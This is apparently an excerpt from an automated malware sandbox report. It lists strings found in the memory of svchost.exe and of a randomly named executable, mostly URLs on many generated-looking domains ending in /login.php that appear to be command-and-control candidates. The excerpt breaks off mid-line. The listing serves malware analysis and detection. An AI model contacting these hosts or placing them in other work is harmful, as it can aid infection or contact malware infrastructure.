Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178063171.000000000923F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2399948508.0000000009324000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2853769839.000000000988D000.00000004.00000010.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2676884944.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzylyp.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzymup.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzypav.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzytap.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzywuq.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzyxip.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzyxyv.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2852112632.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyfup.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyhag.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyhuv.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebykul.com/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebylov.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebylyp.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyniv.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyqeq.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyrel.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyrip.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebysul.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyteg.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qebyxyq.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyfog.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2546812858.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyhyl.com/
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311498378.000000000337A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310062012.000000000337A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyleq.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2653309169.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedylig.com/login.php
Source: svchost.exe, 00000002.00000003.2334241023.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336999342.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedynaq.com/login.php
Source: svchost.exe, 00000002.00000003.2587482853.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedynaq.com/login.php//vofymem.com/
Source: svchost.exe, 00000002.00000003.2853017937.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedynug.com/http://qeqysap.com/
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330574542.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyqup.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedysol.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedysov.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedysyp.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedytoq.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedytul.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedytyg.com/login.php
Source: svchost.exe, 00000002.00000003.2236990443.0000000003301000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237616920.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237218965.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237923899.0000000003303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyveg.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyvuv.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647508543.000000000331E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyxel.com/
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2650495835.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2650014492.0000000003307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyxel.com/H
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyxel.com/http://volygoc.com/H
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyxel.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297411828.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qedyxip.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qegyfeq.com/login.php
Source: svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388180124.0000000009327000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 